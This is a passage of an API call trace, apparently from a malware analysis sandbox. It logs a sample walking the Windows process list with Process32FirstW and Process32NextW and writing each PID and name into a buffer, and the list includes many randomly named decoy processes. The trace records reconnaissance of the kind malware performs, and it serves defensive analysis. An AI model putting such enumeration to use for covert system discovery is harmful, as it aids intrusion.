th32ProcessID=0x0) returned 0x1ac [0115.099] Process32FirstW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0115.100] wvnsprintfW (in: pszDest=0x868fa0, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[0] [[System Process]]\r\n") returned 24 [0115.100] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0115.100] wvnsprintfW (in: pszDest=0x868fd0, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[4] [System]\r\n") returned 14 [0115.100] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0115.101] wvnsprintfW (in: pszDest=0x868fec, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[264] [smss.exe]\r\n") returned 18 [0115.101] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0115.102] wvnsprintfW (in: pszDest=0x869010, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[332] [csrss.exe]\r\n") returned 19 [0115.102] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0115.102] wvnsprintfW (in: pszDest=0x869036, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[380] [wininit.exe]\r\n") returned 21 [0115.102] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0115.103] wvnsprintfW (in: pszDest=0x869060, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[392] [csrss.exe]\r\n") returned 19 [0115.103] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0115.103] wvnsprintfW (in: pszDest=0x869086, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[432] [winlogon.exe]\r\n") returned 22 [0115.103] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0115.104] wvnsprintfW (in: pszDest=0x8690b2, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[476] [services.exe]\r\n") returned 22 [0115.104] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0115.104] wvnsprintfW (in: pszDest=0x8690de, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[484] [lsass.exe]\r\n") returned 19 [0115.104] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0115.105] wvnsprintfW (in: pszDest=0x869104, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[492] [lsm.exe]\r\n") returned 17 [0115.105] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.105] wvnsprintfW (in: pszDest=0x869126, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[600] [svchost.exe]\r\n") returned 21 [0115.105] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.106] wvnsprintfW (in: pszDest=0x869150, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[664] [svchost.exe]\r\n") returned 21 [0115.106] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.106] wvnsprintfW (in: pszDest=0x86917a, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[716] [svchost.exe]\r\n") returned 21 [0115.106] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.107] wvnsprintfW (in: pszDest=0x8691a4, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[792] [svchost.exe]\r\n") returned 21 [0115.107] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.107] wvnsprintfW (in: pszDest=0x8659ce, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[852] [svchost.exe]\r\n") returned 21 [0115.107] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0115.108] wvnsprintfW (in: pszDest=0x8659f8, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[920] [audiodg.exe]\r\n") returned 21 [0115.108] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.108] wvnsprintfW (in: pszDest=0x865a22, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[1008] [svchost.exe]\r\n") returned 22 [0115.108] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.109] wvnsprintfW (in: pszDest=0x865a4e, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[352] [svchost.exe]\r\n") returned 21 [0115.109] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0115.109] wvnsprintfW (in: pszDest=0x865a78, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[284] [spoolsv.exe]\r\n") returned 21 [0115.109] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.110] wvnsprintfW (in: pszDest=0x8b70e2, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[1036] [svchost.exe]\r\n") returned 22 [0115.110] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0115.110] wvnsprintfW (in: pszDest=0x8b710e, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[1296] [taskhost.exe]\r\n") returned 23 [0115.110] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0115.111] wvnsprintfW (in: pszDest=0x8b713c, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[1372] [dwm.exe]\r\n") returned 18 [0115.111] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0115.112] wvnsprintfW (in: pszDest=0x8b7160, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[1384] [explorer.exe]\r\n") returned 23 [0115.112] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0115.112] wvnsprintfW (in: pszDest=0x8b718e, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[1480] [taskeng.exe]\r\n") returned 22 [0115.112] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0115.113] wvnsprintfW (in: pszDest=0x8b71ba, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[2000] [taskeng.exe]\r\n") returned 22 [0115.113] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0115.113] wvnsprintfW (in: pszDest=0x8ba5fe, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[692] [taskeng.exe]\r\n") returned 21 [0115.113] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0115.114] wvnsprintfW (in: pszDest=0x8ba628, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[1932] [taskhost.exe]\r\n") returned 23 [0115.114] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0115.114] wvnsprintfW (in: pszDest=0x8ba656, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[1204] [prospectssayspotteryamplifier.exe]\r\n") returned 44 [0115.114] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0115.115] wvnsprintfW (in: pszDest=0x8ba6ae, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[1408] [combinations-bits-tape.exe]\r\n") returned 37 [0115.115] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0115.115] wvnsprintfW (in: pszDest=0x8ba6f8, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[800] [delicious_sale.exe]\r\n") returned 28 [0115.115] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0115.116] wvnsprintfW (in: pszDest=0x8ba730, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[100] [friendly.exe]\r\n") returned 22 [0115.116] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0115.116] wvnsprintfW (in: pszDest=0x8ba75c, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[1592] [reveal-salaries-mandate.exe]\r\n") returned 38 [0115.116] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0115.117] wvnsprintfW (in: pszDest=0x8ba7a8, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[1576] [catalogvidsmoreoverrail.exe]\r\n") returned 38 [0115.117] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0115.117] wvnsprintfW (in: pszDest=0x8ba7f4, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[836] [sri-gods.exe]\r\n") returned 22 [0115.117] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0115.118] wvnsprintfW (in: pszDest=0x8ba820, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[2044] [wines-fix-hopefully-analyzed.exe]\r\n") returned 43 [0115.118] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0115.118] wvnsprintfW (in: pszDest=0x8ba876, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[2040] [lovers_voices_chicks.exe]\r\n") returned 35 [0115.118] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0115.119] wvnsprintfW (in: pszDest=0x8ba8bc, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[1508] [cool rev connection ranger.exe]\r\n") returned 41 [0115.119] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0115.119] wvnsprintfW (in: pszDest=0x8ba90e, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[1160] [psychiatrychip.exe]\r\n") returned 29 [0115.119] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0115.121] wvnsprintfW (in: pszDest=0x8ba948, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[1764] [delivers_launches_tagged_antique.exe]\r\n") returned 47 [0115.121] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0115.121] wvnsprintfW (in: pszDest=0x8ba9a6, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[1696] [pp availability.exe]\r\n") returned 30 [0115.121] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0115.122] wvnsprintfW (in: pszDest=0x8ba9e2, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[2052] [pdtdifficultrolandddr.exe]\r\n") returned 36 [0115.122] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0115.122] wvnsprintfW (in: pszDest=0x8baa2a, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[2068] [falls.exe]\r\n") returned 20 [0115.122] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0115.123] wvnsprintfW (in: pszDest=0x8baa52, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[2084] [slightly dentists modified.exe]\r\n") returned 41 [0115.123] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0115.123] wvnsprintfW (in: pszDest=0x8baaa4, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[2100] [switchconventionspeppercovered.exe]\r\n") returned 45 [0115.123] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0115.124] wvnsprintfW (in: pszDest=0x8baafe, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[2116] [statutes_slow_determines_ciao.exe]\r\n") returned 44 [0115.124] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0115.124] wvnsprintfW (in: pszDest=0x8bab56, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[2132] [psp.exe]\r\n") returned 18 [0115.124] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0115.125] wvnsprintfW (in: pszDest=0x8bab7a, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[2148] [anonymous.exe]\r\n") returned 24 [0115.125] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0115.125] wvnsprintfW (in: pszDest=0x8babaa, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[2164] [concept_nor_works_holder.exe]\r\n") returned 39 [0115.125] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.126] wvnsprintfW (in: pszDest=0x8babf8, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[2396] [svchost.exe]\r\n") returned 22 [0115.126] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0115.126] wvnsprintfW (in: pszDest=0x8bac24, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[2456] [OSPPSVC.EXE]\r\n") returned 22 [0115.126] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.127] wvnsprintfW (in: pszDest=0x8bac50, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[2524] [svchost.exe]\r\n") returned 22 [0115.127] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0115.127] wvnsprintfW (in: pszDest=0x8bac7c, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[2612] [cmd.exe]\r\n") returned 18 [0115.127] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0115.128] wvnsprintfW (in: pszDest=0x8baca0, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[2620] [conhost.exe]\r\n") returned 22 [0115.128] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: 